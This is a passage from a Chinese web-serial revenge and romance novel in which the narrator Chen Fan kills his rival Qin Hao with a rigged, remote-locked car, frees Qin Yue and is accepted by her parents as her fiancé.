“看好他,等拿到录音笔,在放他走!”我对秘卫说道。
听到我的话,秦昊不屑的一笑,我知道他在笑什么,他在笑我会放了他。
周叶青点头,示意周家秘卫把人带走。
秦昊被架起来,被周家秘卫拖向了门口,他路过我身边的时候,忽然停下,道:“陈凡,你别小看司徒鸣,他的背景比你想的要深,他的背后可能还有人。”
“你什么意思?”我眉头一皱问道,我不相信秦昊有那么好心,会提醒我。
秦昊没有再说话,只是摇摇头,被秘卫带了出去。
门关上,屋子里只剩下我和周叶青两个人。
“你怎么看?”我问她。
周叶青沉思片刻道:“秦昊的话,大部分应该是真的,至于司徒鸣背后有没有人,这件事得需要去验证,如果真的有人,那个人可隐藏的够深。”
“我们先拿到证据再说,如果录音笔里的东西真的能扳倒司徒鸣,那我们的计划就成功了一大半。”
“那秦昊呢?”周叶青好奇的问道:“你真的打算放过他?”
我冷冷的一笑,眼神变得阴狠无比。
想想秦昊对夏颜所做的一切,他袭击了夏颜两次,还妄图要加害夏颜的性命,我怎么可能会放过他。
更何况,秦昊还**了秦悦,他一直在做伤害我女人的事情,我没有理由放过他。
“我当然不会放过他,我恨不得将他**万段!”我狠狠的说道。
“那你刚才是逗他的?”周叶青笑着问。
“当然,不给他点希望,他怎么能感受到绝望的痛苦!”
137秦昊**!
白起安排人去秦昊家里取那个录音笔。
没过多久,去的人就带回了录音笔。
我接过录音笔,这个录音笔已经有磨损的痕迹,看来年头已经很久了。
周叶青看了看这个录音笔,对我说道:“打开听听看,秦昊说的是否是真的!”
我点了点头,随后按下了录音笔,里面传来了一细细碎碎的声音。
“东西在哪?”司徒鸣的声音从视频里传来,那时候,他的声音还没有现在阴沉。
因为只是录音,根本没有画面,只能通过声音来分辨这个事情发展的过程。
“再问你一遍,账本藏哪里了?”司徒鸣声音有些不耐烦道:“让你们搬走,你们不搬,竟然还要算计我?”
“呜呜……”
“呜呜……”
录音笔里传来了一个好像中年男人呜咽的声音,但还是听不出来,这个男人说了什么!
砰!
一声脆响,震惊到了我和周叶青,我们两个人对视一眼,枪响了!
咚!
紧接着我们就听到一个人倒地的声音,还有小女孩发出的哭声,这应该是姓杨一家人的反应。
“现在呢?”司徒鸣继续问道。
“呜呜……”
“呜呜……”
录音笔里又传来一个女人的呜咽声,她似乎说了什么,又好像什么都没说。
“既然不说,那就别怪我了!”
司徒鸣的话刚说完,又是砰的一声!
一个人咚的一声倒地。
录音笔的声音到这里,就戛然而止,不过我并没有关掉录音笔,而是选择在听一下,果然不出我所料,里面又传来了司徒鸣的声音。
“姓杨的一家,处理干净了吗?”司徒鸣问道。
“司徒董事长,请放心,一家五口,就连那条狗都没放过。”
“账本呢?”
“已经找到了,都销毁了,冯建那边也打点好了,他会把这案子定为******,不会深究。”
“好,钱已经打到海外账户了,最近几年低调点,别回上城!”司徒鸣说道。
录音到这里戛然而止,不过短短的一个音频,就记录了五个人命,怪不得秦昊那么有把握拿捏司徒鸣,这绝对是司徒鸣的软肋!
谁拿到这个录音笔,谁就能彻底威胁到他!
只不过现在,司徒鸣和司徒宇这对父子,都不知道去哪里了,是被**?还是已经被害?
这都无从知晓。
“陈凡,你打算怎么处理这个录音笔?”周叶青问道。
“先留着,关键的时候,用来制衡司徒鸣。”
我觉得这些证据就是扳倒司徒鸣的最好的证据,只要拿出来,在加上周家老爷子运作一下,司徒鸣必死无疑!
我知道,只要这些证据公布出去,司徒家也会跟着陷入危机当中。
但……现在公布,真的是最佳时机吗?
司徒鸣虽然是我的仇人,但现在司徒鸣身在何处还不清楚,如果我一意孤行,这件事后面牵扯出来的按些人,肯定会疯狂报复我,到时候,我和我身边的人,都会面临巨大的危险。
我将录音笔交给了周叶青,道:“周总,先备份一下吧,这种东西,我们都要留一手。”
“可以,那秦昊你打算怎么办?”周叶青问道。
“当然是送他去他该去的地方了!”我冷冷的说道。
我将录音笔交给了周叶青,然后就独自去找秦昊。
我推门进去的时候,秦昊还在抽着烟,即便被抓,他依旧保持着他大少爷的风范,在他的脸上,没有看到半点颓废。
秦昊,还是那个秦昊,即使是输给我了,也一点都没有变。
“录音笔里的内容,我都听完了,你没有说谎,你可以走了!”
我说完,闪过身子,给秦昊让了一条路。
我的这个举动,让秦昊微微一愣,他不可置信的看着我,质问道:“你就这么放我走了?”
“呵……”我冷笑了一声,道:“不然呢?你以为我会怎么样?”
“哈哈!”秦昊盯着我的脸,他笑了,道:“陈凡,你终究是个懦夫,如果我是你,一定会做了我,可你竟然没有,真是匪夷所思!”
“因为我不是你,我不是畜生!”我冷冷的回答。
听了我的辱骂,秦昊非但没有生气,反而笑了,他站起身子,拍了拍身上的土,一副无所谓的样子。
“秦昊,记住,今天,是你输了!”我冷冷的说道。
“呵呵……”
秦昊冷笑了一声。
“如果你在对我的女人下手,我是绝对不会原谅你的!”我冷冷的说道。
“这句话,我已经听过很多次了,可现在呢,你还是放了我!”秦昊冷笑道:“陈凡,下次,
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你不会有好运气了!”
我不在理会秦昊,只是招了招手,让手下的秘卫将他送走。
秦昊一副得意洋洋的样子,走了出去。
“这是你的车,钥匙在车上。”
秘卫指了指秦昊的车,那是秦昊保镖开的车,现在还给秦昊了。
秦昊看了看那辆车,随即上了车,他拿起钥匙,发动汽车,整个人得意的不得了。
秦昊驾驶汽车,离开了这里,他驾驶汽车开往自己的盘山公路,这条路很窄,一侧是悬崖,夜间行车会有危险。
“陈总,按照你的吩咐,秦昊走了能有五分钟了!”秘卫走了进来说道。
我点了点头,然后拿出了一个巴掌大的遥控器,直接按下了上面的按钮。
盘山公路上,秦昊的汽车突然猛地一晃,车内就冒出了浓烟!
这个浓烟是迅速充满了整个车厢,秦昊意识到不对劲,他试图打开车窗,但是车窗是锁死的,他试图打开车门,可车门已经被锁死,从里面根本打不开,只能从外面打开。
浓烟越来越浓,视线越来越模糊,秦昊的车子开始失控,在公路上左摇右摆,差点就冲出悬崖,忽然,火从彻底烧起来,然后迅速烧到了座椅和内饰!
秦昊的脸贴在车窗上,他嘴巴大张,在拼命的拍打车窗,可是却于事无补!
终于,车子撞破了路边的护栏,冲下了悬崖!
车子在悬崖上不停的翻滚,直到掉落在悬崖!
“陈总,秦昊的车子行驶到盘山公路,忽然坠崖掉下去了,大概悬崖能有五十米,不可能生还!”进来的秘卫通报。
我点了点头,道:“知道了。”
周叶青看着我,眼神复杂问道:“你什么时候……”
“在把他从医院带出来的时候,就安排了,那辆车所有的车门和车窗都被遥控锁死,他逃不了了!”
“可是……”周叶青欲言又止。
“可是什么?”我看着她,问道:“觉得我太残忍?”
她沉默了几秒,然后摇头说道:“我只是没想到你会用这种方式。”
“这是最适合他的方式,把他困在车里,让他眼睁睁看着自己被烧死,就像他曾经想把夏颜困在手术台上一样,让夏颜眼睁睁看着自己的肾脏被摘除,我不过就是……”
“以彼之道,还施彼身。”周叶青轻声说
138解救秦悦!
秦昊**,死在了自己的棋盘上。
司徒鸣还在暗处,秦悦还需要我去营救,还有那些证据,我都会选择一个时间,公布出来。
但在这之前,我要把这个消息告诉夏颜,我要让她知道,我替她报仇了!
于是我拿出手机,拨通了夏颜的电话。
“老公?”她的声音带着睡意,但很清醒,“你……还好吗?”
“我很好,秦昊**。”我淡淡道。
电话那边沉默了,许久,夏颜的声音传来,道:“很好,很好。”
“你在睡会儿吧,我就是想告诉你这个消息,从此以后,不会在有人来伤害你了!”
这是我对夏颜的承诺,我要一一来兑现。
曾经伤害过她的人,都要付出代价!
“嗯!”夏颜顿了顿,继续说道:“老公,这次,你不会再**吧?”
我笑了笑,道:“不会了,永远不会了。”
“还有一件事。”夏颜欲言又止。
“有什么你就说吧,我们是夫妻。”我说道。
“我要夺回夏家!”夏颜语气坚定的说道。
“好!”
对于夏颜这个决定,我一点都不意外,她如果不说这话,那就不是夏颜了,整个夏家,都在拿夏颜做利益交换的工具,现在秦昊没了,下一战,我就要拿回夏颜本属于她的东西。
这二十多年来,夏颜在夏家受到的委屈,他们都要一一给我还回来!
“你先休息吧,老婆,我这边还有事要处理。”我说道。
“嗯。”夏颜温柔道:“无论去哪里,都不要让我找不到你,如果有一天,你不在这个世界上,我也要和你一起。”
夏颜的话,让我的心感动不已。
我从来没有怀疑过夏颜对我的爱,只是我没有想到,她对我的爱意会是这么的深沉!
“傻丫头,我们只会幸福!”
我安慰着夏颜,哄着她入睡,等她睡着,我才挂上电话。
此时,已经是深夜了。
我独自驾驶着汽车,驶向了秦昊一处位于郊区的私人公寓。
这里,就是秦昊软禁秦悦的地方,是我从他私人医生嘴巴里撬出来的!
从秦悦被囚禁到现在,已经大概有三四天的时间了。
在这段时间里,秦昊对外的说法都是秦远宏父女因为身体原因,无法参与家族事务,并召开董事会,要求更名董事长。
可想而知,这些天秦悦承受了多大的打击。
不是秦远宏不行,而是秦昊太过阴险,在加上司徒家的暗卫支持,他什么事情不敢做。
只不过,让我疑惑的是,司徒鸣父子,到底去哪里了?
是被**?还是**?
这个疑惑,不知道什么时候能解开!
我走进了公寓,这里已经没有秦昊的保镖了,估计他们应该也是得到了秦昊死亡的消息,都跑路了。
公寓的门虚掩着,我透过门缝,看见里面的景象,我的呼吸瞬间停了一下,里面只有一张椅子,椅子上帮着的就是秦悦,她整个人看起来很憔悴。
她穿着一件皱巴巴的灰色运动服,头发凌乱地披散着,脸色苍白得像纸,这才几天,她整个人瘦了一圈。
一个保镖坐在椅子上,翘着二郎腿,玩着手机,他偶尔抬起头看着秦悦,眼神满是轻蔑。
“秦大小姐,你说你这是何苦呢?乖乖待着不好吗?非要闹,非要绝食,秦少说了,只要你好好配合,等风声过去,就放你出去。”
秦悦没有反应,像是没听见一样。
“装聋作哑是吧?我告诉你,秦少虽然现在不在,但他的命令我们得执行,你要是敢乱来,别怪我不客气。”
秦悦依然一动不动,似乎根本没把保镖的话放在眼里。
保镖站起身,走到秦悦的面前,颐气指使道:“听见没有?跟你说话呢!”
我抓住机会,直接推门而入,我动作极快,保镖还没反应过来,我的手臂就从他身后勒住他的脖子,然后我一个手刀过去,保镖被我砍晕了,他整个人软绵绵的滑倒在地上。
秦悦正看着我,她的眼睛瞪大了,嘴巴微张,一脸不敢相信的样子。
“陈……”她的嘴唇颤抖着,却发不出完整的声音。
我走了过去,然后解开她身上的绳子。
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秦悦还坐在椅子上,她仰头看着我,眼睛一眨不眨,像是怕一眨眼我就会消失。
她的呼吸变得急促,胸口剧烈起伏,她整个人都变得很激动!
“陈凡,真的是你吗?”她终于发出声音,嘶哑而颤抖,道:“还是我在做梦?”
“你不是在做梦,是我,我来救你了!”我蹲下身子,眼神平视秦悦说道。
“真的是你?”
秦悦伸出手,她的手指颤抖着慢慢靠近我的脸,我把她的手掌贴在我脸上。
“是我,真的是我。”我说道。
秦悦的手颤抖得更厉害了,她的眼睛开始发红,眼眶里迅速蓄满泪水。
“可是新闻说……”她的声音哽咽了,道:“说你**,码头发生**,他们都说你**……”
“那是假的。”我轻声安慰道:“那是我为了骗秦昊,为了让他放松警惕。”
秦悦没有说话,只是大颗大颗的眼泪从她眼眶里滚落,然后滴在了我的手上,这让我心疼不已。
“我以为,我再也见不到你了!”她终于哭出声来,声音破碎不堪!
秦悦扑进我怀里,双手紧紧抓住我的衣服,她哭的声嘶力竭,好像要把这些天的委屈与恐惧都发泄出来。
“秦昊把我关在这里,不让我出去,他不让我联系任何人……”她在我怀里哭诉,话语断断续续,道:“他说你**,让我死心……”
我抱住她,感觉到她瘦弱的身体在怀里颤抖。
“我绝食,他们给我打营养针……”秦悦继续哭着说道:“我想死,我真的想死,如果你不在了,我活着还有什么意义!”
“不要乱说……”我轻轻拍着她的背,温柔的说道:“都过去了,我在这里,我还活着。”
她哭得更厉害了,仿佛要把这一生的眼泪都流干,我不知道她哭了多久,直到她声音嘶哑,眼泪流干,她才停了下来。
终于,她慢慢平静下来,但她依然紧紧抱着我,不肯松手。
“秦昊呢?他在哪里?”她抬起头,眼睛红肿的问道。
我沉默了几秒,直接说道:“他**。”
139拜见岳父!
听到这个消息后,秦悦整个人明显愣了一下,然后她眼里透露出冰冷,道:“**好,省的在坏人了!”
“秦昊试图用夏颜做**,计划失败后,又想杀我灭口,他在码头布置了**,想要炸死我,但关键时刻,我跑了出来!”
我简短的把大概的事情讲了一下,我不想告诉秦悦太多的细节,有些事情,她不知道,反而对她有好处。
毕竟,秦昊是秦家的人。
“他最有应得,秦昊罪恶多端!”秦悦闭上眼睛,深吸了一口气,仿佛只有这样,她的心才能安静下来。
“陈凡,那你现在是什么身份?或者说,你打算怎么面对公众?”秦悦的话算是提醒了我,她说的没有错。
周叶青当初在海城弄出了新闻,说我被炸死,接下来,我该如何出现在公众面前,我总不能一直带着**?
“我现在有新的身份,等到时机成熟,我自然会复活,只不过需要周叶青来帮我运作一下!”
秦悦点点头,没有多问,她挣扎着要站起来,但身体太虚弱,摇晃了一下,我扶住她。
“能走吗?”我关心的问道。
“能!”她咬牙说道,她的眼神里透露出一种坚定的神色。
“靠着我……”我轻声的说着。
秦悦点了点头,依靠在我的怀里,她被绑在椅子上时间太久了,四肢都有些软了。
我半扶半抱着她,走出公寓,来到一楼。
刘飞已经在客厅等着,看到我们,他点了点头。
“凡哥,这里都处理好了,监控录像已经替换,四个保镖会被送到外地,短时间内不会回来。”
“车准备好了吗?”我问道。
“在外面。”刘飞道。
我扶着秦悦坐上车,这里夜风很凉,她打了个寒颤,我把外套脱下来披在她身上。
上车后,秦悦靠在后座上,闭着眼睛,但手一直紧紧抓着我的手,生怕一松手,我就不见了似的。
我将她搂在怀里,让我的体温温暖她,我知道这些天,她承受太多的委屈了。
车子驶入公路,海城的公路上,来往的车辆很少。
“我们去哪里?”秦悦轻声问。
“一个安全的地方,周叶青安排的,没有人可以找到我们。”我说道。
秦悦沉默了一会儿,然后说:“我不想躲。”
我转头看她,温柔的问道:“那你是什么意思?”
她睁开眼睛,眼神虽然疲惫,但有一种前所未有的坚定看着我。
“陈凡,我不想再躲了,秦昊**,秦家现在是我父亲在撑着,但他身体很差,秦家需要有人站出来。”
“你想回去?”我问。
“我想带你回去。”秦悦看着我,一字一句地说道:“我想告诉我父亲,你是我的男人,我想让所有人知道,你还活着,你会站在我身边。”
秦家现在内部混乱,秦昊刚死,各方势力都在蠢蠢欲动,秦悦这时候回去,还带着我,她会承受很多的骂名。
“太危险了,这样对你不好,如果你自己回去,只要告知他们秦昊**就行,可带着我回去,你要解释的更多,更何况,秦昊和我还是仇人,秦家的人一定会质问你。”我说。
“我知道。”秦悦握紧我的手,看着我坚定的说道:“但我受够了,我受够了被保护,被控制,被当作赚钱的工具,秦昊把我关起来的时候,我想明白了一件事,如果我不站出来,不去争取,不去掌控自己的命运,那么我永远都只是别人棋盘上的棋子。”
“陈凡,你说过,我们是一类人,那么现在,我希望你在我身边,你对我来说,真的非常重要。”
秦悦的眼睛望着我,她在等着我的回答。
在我的印象里,她一直都是骄傲的秦家大小姐,她不食人间烟火,可这几天的囚禁,磨掉了秦悦表面的骄傲和冷漠,淬炼出了她更加坚硬的性格。
此刻的秦悦,要做一个真正意义上掌握自己命运的人。
“你确定要公开我的关系么?一旦公开露面,一旦告诉秦家,你就没有回头路了,秦家内部会**,你的敌人会浮出水面,所有暗箭都会明着来。”我分析道。
秦家还有秦昊的父亲,他是秦悦的大伯,
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试问,秦远志会放过秦悦和我吗?他不会为秦昊报仇么?
“我确定,我就是要和你在一起,面对着世上的所有风雨,我告诉我自己,如果能和你在一起,那就要去做最想做的事情。”秦悦说道。
我沉默了很久,然后点头:“好,我陪你回家见父母。”
秦悦的眼睛瞬间亮了起来,她凑过来,轻吻了我。
“谢谢你。”她在我耳边轻声说道:“谢谢你活着,谢谢你来找我,谢谢你愿意陪我一起面对。”
我没有在海城过多的停留,而是让刘飞直接开车去杭城,因为秦悦的父母在杭城。
我知道秦悦的身体需要恢复,我特意让周家的私人医生跟着,就是为了保证秦悦的安全。
刘医生给秦悦吃了很多类似补药的东西,秦悦整个人气色好了很多,也吃了饭,回补了一些能量。
从海城去往杭城,光是开车走高速,就要七八个小时。
这一路上,秦悦睡得很沉,我知道,她这次是真的累了。
我一路上,抱着她,听着她轻微熟睡声,我觉的很安心……
当我们到达杭城的时候,已经是第二天早上**点。
秦悦睡醒了,她整个人气色大好,搂着我的时候也有了力气。
车停在了秦悦父母家门口,这里是杭城的别墅区,住在这里的人,都是达官显贵。
“准备好了吗?”我轻声问。
秦悦深吸一口气,握住我的手道:“有你在,我什么都不怕。”
秦悦拉着我的手,和我一同走下车,门口,秦家的管家早已经准备好了。
“大小姐,您终于回来了。”头发花白的老管家眼圈微红,道:“老爷和夫人一直在等您。”
“福伯……”秦悦点点头,声音有些哽咽,她转过头看着我,语气坚定道:“这位是陈凡,我的未婚夫!”
未婚夫,这个词她说得自然,却让我心中一动。
我们并没有正式订婚,但她此刻说出这个词,是在向整个秦家宣告我的身份和地位。
福伯微微一怔,随即躬身:“陈先生,请。”
140秦悦的温柔!
我和秦悦走进了别墅的大门,这里是一个宽敞的前院。
院子里有一个小池塘,里面养着几条锦鲤,整个院子收拾的一尘不染。
秦悦挽着我的手臂,她姿态自然而亲密,她的脚步很稳,每一步都踩得坚定,她这是坚定的要和家里摊牌的节奏了。
我们步入正厅,这里的装修风格是中式建筑,飞檐翘角,雕梁画栋,很是气派。
秦家的正厅很大,但摆设却很简单,正厅中间坐着两个人,左边的秦远宏,他穿着深灰色的中式褂子,手里握着一串紫檀念珠,他脸色有些苍白,眼下有淡淡的青黑,可以想象,秦悦失踪的这些天,他也没有睡好。
右边坐着的女人,是秦悦的母亲,沐婉风。
她年纪应该五十多岁,可保养的极好,看起来就像四十岁出头,她穿着紫色的旗袍,脖子上带着翡翠吊坠,一副荣雍华贵的样子,一看就是富家太太,她的模样和秦悦有六七分相似。
沐婉风看到秦悦进来,立刻站起身。
“悦悦!”她的声音带着哭腔,快步走过来,一把抱住秦悦!
“我的女儿,你受苦了!”
“妈。”秦悦轻声回应,也抱住了母亲。
秦远宏没有动,只是静静地看着,他的目光在我身上停留了几秒,然后转向女儿,眼神里闪过一丝复杂的神色,有关切,有愧疚,也有如释重负。
母女俩抱了一会儿,秦夫人才松开手,上下打量着秦悦道:“悦悦,你瘦了,瘦了好多,秦昊那个混账东西,竟敢这么对你……”
“我没事,妈。”秦悦安慰道!
秦悦转过头,看着秦远宏道:“爸,秦昊没有为难你把?”
秦远宏点点头,终于开口,声音有些沙哑道:“没有,好在你回来就好。”
秦悦拉着我上前一步:“爸,妈,这是陈凡,是他救了我!”
“陈凡……你没死?新闻上说你不是在港口……”秦远宏没有在说下去,他可能意识到了什么。
“秦叔叔,那是假消息,为了迷惑秦昊,我不得已这样做!”我直接坦诚的说道。
听到秦昊的名字,秦远宏的脸色黯淡了一瞬,他沉默了几秒,然后对我说道:“坐下说话吧。”
“悦悦,你消失的这几天,我和你爸都担心坏了,我们想去找你,可秦昊也把我们软禁起来了,他们还说你精神不好,不让我们见你……我们真的不知道,你受了这么多的委屈!”
“秦叔叔,阿姨……”我站起身,对着两个人认真的说道:“这些都是我应该做的,我救秦悦,不是为了讨要好处,而是我喜欢她,我想这样做!”
我的话等于直接表白!
我想,秦悦父母应该明白我是什么意思!
沐婉风越说越心疼,她眼泪掉了下来,这世界上最心疼女儿的,可能就是母亲了。
“我知道,妈。”秦悦轻声安慰道:“不怪你。”
“怪我。”秦远宏突然开口,声音低沉,道:“是我没疏忽了,没有提前布局,让秦昊捷足先登!”
秦远宏露出一脸懊恼的神色,他说的没错,他就是下手晚了。
“爸,这件事情多亏了陈凡帮忙,秦家才能够稳住,秦昊的计划没能得逞!”秦悦急忙说道。
“嗯!”秦远宏点了点头,对我说道:“陈凡,这件事情,谢谢你,也谢谢你救了悦悦!你有什么要求,都可以提出来!我能满足的都会满足!”
“秦叔叔,阿姨……”
我站起身,然后看向两人,认真的说道:“我救秦悦不是为了利益,而是因为我真的喜欢她!”
我的话说的干脆直接,等于直接挑明我和秦悦的关系,我想,秦悦父母应该明白我是什么意思了。
“就是因为喜欢么?一点别的原因没有?”秦远宏眼神疑惑的看着我。
“我说过,要让秦悦做秦家的家主,谁触碰到她,我就会对付谁,因为秦悦对我来说,很重要!”
我的一番话,秦悦都听见了,她的脸色微红,可眼神却明亮的许多,我知道,她此时很开心。
我的一番话,让秦悦父母两个人都安静了,他们在看向我的时候,眼神里多了考量。
“悦悦对你来说,重要到什么程度?”秦远宏问。
我微微一笑,心想:看来秦远宏还是不放心我啊,没关系,那毕竟是她的掌上明珠。
我刚要说话,秦悦这次率先说道:“爸,陈凡是我选择的人,无论你们接不接受,我都会和他在一起。”
这话说得平静,却带着不容置疑的力量。秦夫人惊讶地看着女儿,又看看我,然后又看了看秦远宏。
秦远宏沉默了很久,他端起茶杯,喝了一口,动作很慢,像是在思考,也像是在做某个重大的决定。
“陈凡,我知道你的背景。冯家是被你吞并的,周家的周叶青是你的盟友,夏家的夏颜和你关系匪浅,而现在,你又和悦悦在一起。”
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“秦家现在的情况,你应该也清楚,秦昊**,接下来我大哥秦远志应该会和我继续争斗,悦悦是个女孩子,外面有多少人盯着秦家这块肥肉,你应该能想象。”
“是。”我承认。
“那么,你的目的是什么?”秦远宏问得很直接。
“你看中的是秦家的资源?是人脉?还是别的什么?”秦远宏接着问道。
秦远宏的问题很尖锐,如果是从前,我可能会看中秦家的资源,可现在,我没有那个想法,因为我足够强大!
“如果我说,我的目的是秦悦本人,您信吗?”我反问。
秦远宏看着我,我也看着他,四目相对,没有人回避。
“我信!”秦远宏点头。
“陈凡,如果你想要的是秦家的资源,你会有更好的方式,直接吞并,或者扶植代理人,都比通过悦悦来得快。”
他顿了顿,继续说:“而且,你救了悦悦,在她最绝望的时候,你出现了,这一点,我感激你。”
秦夫人的表情柔和了许多,她拉着秦悦的手,小声问道:“悦悦,你真的……确定吗?”
“我确定,妈。”秦悦的语气坚定,道:“这几天,我想明白了很多事,我想要什么,我该选择谁,我心里清楚。”
秦夫人点点头,看向我的眼神也变得温和起来。
“陈凡,悦悦这孩子,从小就要强,如果你真心对她好,我……我支持你们。”
秦夫人这话说得很轻,但分量很重,她等于是同意我和秦悦在一起了。
“陈凡,秦家现在需要一个撑起门面的人,我岁数大了,我打算现在就将秦家交给秦悦,悦悦是个女孩子,在商场很容易吃亏!”
秦远宏站起身,他看着我说道:“如果你真的想对悦悦好,你就留下来,帮她,帮秦家,你会面对很多敌人,明枪暗箭,还有秦昊留下的烂摊子!”
“爸,你还不到六十岁,你怎么就要退休了?”秦悦着急的问道。
“我的身体我知道,这次秦昊让我耗费不少心血,傻孩子,秦家早晚要交给你!”秦远宏看向我道:“陈凡,你愿意帮悦悦么?”
“我愿意。”我说。
秦远宏点点头,脸上露出一个笑容,虽然很淡,但很真诚。
“那就好。”他说,“今晚就住下吧,福伯!”
“老爷,您吩咐?”福伯走向上前问道。
“安排一下,姑爷今晚就住在家里了。”
141秦悦的告白柔情!
秦远宏的一句姑爷,就肯定了我的身份,这个称呼让我感觉到动容,看来秦家是接受我了。
秦夫人和秦悦对视一眼,秦悦的脸上泛起淡淡的红晕。
“爸……”秦悦有些不好意思。
“早晚的事。”秦远宏摆摆手,道:“你既然决定了,就不必扭捏,福伯,你带姑爷去看看住处,顺便熟悉一下家里。”
“是。”
我跟着福伯走出正厅,天色已经完全暗下来,院子里亮起了古典式的灯笼,昏黄的光线在青石板路上投下斑驳的影子。
“姑爷,老爷和夫人对您很满意。这在秦家是很少见的。”福伯笑着说道。
“谢谢福伯。”
“我是看着大小姐长大的,她从小就要强,但也孤独,秦家竞争激烈,老爷和夫人又忙于家族事务,她需要一个能理解她支持她的人。”
“您救了她,这比什么都重要,你对小姐好,老爷和夫人就对你好,就这么简单。”
福伯这话说得朴实,却道破了所有豪门恩怨背后最根本的逻辑。
“这里是听雨轩,大小姐的院子在这里,如果您需要我,可以随时喊我。”福伯说道。
“好,有劳福伯。”我微笑着点头。
福伯走后,我走进了小楼,我有一种恍若隔世的感觉,昨天,我还在对付秦昊,今天就成了秦家的姑爷,这个身份的转变。
窗外传来轻轻的脚步声,不用猜,一听就是秦悦。
秦悦推开门,走了进来,此时的她已经换上了一身简单的居家服,她的头发散落下来,脸上带着淡淡的笑容。
她的身体恢复的速度很快,气色也及其的好,这让我内心宽慰不少。
“还习惯吗?”她走进来,关上门向我问道。
“当然,这是你的闺房。”我说道。
“我小时候就在想,究竟睡会搬进来和我一起住呢?”
秦悦忽然走过来,她从我身后轻轻抱住了我。
“现在有答案了?”我问道。
“陈凡,谢谢你,谢谢你来救我,也谢谢你愿意面对我的家人。”
秦悦趴在我的背上,温柔的诉说着心里话。
“这是应该的,谁让你是我的女人呢!”
我的手轻轻握住秦悦的手,言语温和的对她说道。
“我爸刚才的话,你也都听到了,他把秦家交给了我,而我需要一个能并肩作战的人。”
她伸出手,轻轻抚摸我的脸颊,道:“陈凡,我希望那个人是你。”
“我已经在这里了,你可以无条件的信任我!”
“嗯!有你真好!”
秦悦踮起脚尖,亲吻了我,她的眼睛都湿润了。
这次她的吻更加的温柔和缠绵,我知道,她这些天是想我了。
“今晚,我想要留下来!”她轻声的在我耳边说道。
我没有说话,只是把她拉进怀里,这个夜晚,在秦家,在秦悦的闺房,我们热烈而又真挚!
……
正厅里,秦远宏和沐婉风正在说话。
“你觉得他怎么样?”秦夫人问。
“有胆识,有手段,也有情义,最重要的是,悦悦喜欢他。”秦远宏略带满意的神色说道。
秦远宏一开始并不同意,只不过自己看到了陈凡对女儿的好,看到了他去救女儿,也看到女儿对陈凡的心意,最后,自己不得不同意这门亲事。
“可是他的背景太复杂了,陈凡这么多关系,以后会不会……”沐婉风担心的说道。
沐婉风希望秦悦找到一个如意郎君,可没想到,找到的确实陈凡这个多晴郎!
“正因为复杂,才更有价值,在这个圈子里,简单的人活不长。陈凡能从那么多敌人手里活下来,还能反杀秦昊,救出悦悦……这说明他不简单。”
秦远宏叹了一口气,说到:“而且,你也看到了,悦悦看他的眼神,那是真的动了心,我们做父母的,还能求什么?不就是希望孩子幸福吗?”
秦夫人点点头,道:“只要女儿幸福开心就好……”
夜色渐深,我和秦悦坐在小院里,她轻轻依靠在我的怀里,轻声的对我说:“小时候,我会偷偷爬到树上摘桂花,让妈妈给我做桂花糕。”
说着,秦悦还特意指了指院子里的桂花树给我看。
“现在还想吃吗?”我问。
“想啊,不过,我现在更想和你一起看月亮!”她转头看我,眼睛亮晶晶的满是溢出的喜欢。
我伸出手,轻轻的将她的发丝别到耳后,她的脸颊微微泛红,她抬起眼睛,专注的看着
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我。
“陈凡,我有时候会想,如果你真的在码头**中**,我会怎么办。”
秦悦转过头,望向天空,她惆怅的说道:“我想了很多天,最后的答案是我不知道,但我知道,如果你不在了,那个叫秦悦的女人,大概也**一半。”
听了秦悦的话,我忍不住握住她的手,道:“以后不会再让你担心了。”
“嗯。”
秦悦靠在我的怀里,此刻,没有人打扰我们,我和她很享受这种安静的夜晚。
良久,秦悦对我说:“抱我回去吧,我累了。”
我明白她的意思,于是我将秦悦抱起,走进了卧室。
“陈凡……”
秦悦忽然轻声喊了我的名字。
“嗯?”
“我有没有说过,我爱你?”
“好像没有……”我笑了笑道。
“好,那今晚我要告诉你,我爱你……”
秦悦的话,说的很轻,可落在我的心里很重。
她感受到了我的心境,她抬起头,认真的看着我说道:“我知道这话我说的可能有些晚了,可是我就是想告诉你,在以为你被炸死的时候,我就想说,如果还能再见到你,我一定要告诉你,我爱你……”
我抬起头,看着她的眼睛,她的眼睛很明亮,很干净,没有任何的伪装,有的只是单纯的心意。
“我也爱你。”
简简单单的四个字,就足以说明了一切。
“你不用告诉我,也不要说,我能感受到你的心境,无论将来发什么,无论我们走到哪一步,我都会爱你,一直爱你……”
“你能不能娶我,也不要紧,只要我爱你就足够了!”
这句话她说得很轻,但意思已经很明显了,我身体微微一僵。
她也不傻,知道我还有别的女人,我看着秦悦,这个骄傲了二十多年的女人,此刻就是一个渴望被爱的小女孩。
“秦悦,我可能给不了你童话般的爱情,我……”
“我不在乎,我只要你心里有我……”
“而且,谁说我想要童话了?童话太假,我想要的,是真实的你,真实的我们。”
“陈凡,抱着我睡觉把,我好困……”、
秦悦掰过我的胳膊,枕着我,沉沉的睡去……
142为林薇儿撑腰!
上城,某影视拍摄基地。
现在已经是入秋了,但整个剧组拍摄的是夏天的戏份。
林薇儿穿着一身白色的古装戏服,她的头发梳成简单的发髻,脸上画着淡妆,可即便如此,也难以抵挡她清纯的容颜。
此刻的她,就如同从画卷里走出来的仙子,只不过她的神态略显疲惫。
林薇儿此刻正听着副导演给她讲戏。
“薇儿,真是抱歉……安雅她今天状态可能不太好,那个耳光,我们再试一次?”副导演搓着手,语气为难。
林薇儿抬起头,左脸颊上已经有一片明显的手印,她的脸颊也有些微微肿起。
“嗯……”林薇儿点了点头,没有在多说什么,她只是想快点把这场戏结束,她有些累了。
不远处,安雅被几个女演员围在中间,她是本剧的女二号,她正得意的看着林薇儿。
这场戏大概内容是,林薇儿扮演的女主角发现了安雅扮演的女儿与男主有私情,两个人发生了争执,女二恼羞成怒大了女主角一个耳光。
剧本上写的是轻轻一记耳光,但刚才实拍时,安雅用了全力。
第一遍,导演喊了卡,说情绪不对。
第二遍,安雅说词说错了。
现在是第三遍。
“各部门准备——三,二,一,开始!”
场记板啪地落下。
镜头前,林薇儿看着安雅,眼神满是痛苦道:“你和子谦……是真的?”
安雅理直气壮挑衅的说道:“是又怎么样?你以为子谦真的爱你?他不过是看中了你的家世!”
按照剧本,这时林薇儿应该流泪,然后安雅上前打她耳光。
但安雅突然加了一句剧本上没有的词:“就像陈凡当初看上你一样,他不也是图你的新鲜感吗?”
现场瞬间死寂!所有人顿时鸦雀无声!
林薇儿的脸色刷地白了
陈凡这个民资,是这个剧组里的禁忌,至少对林薇儿来说是这样的!
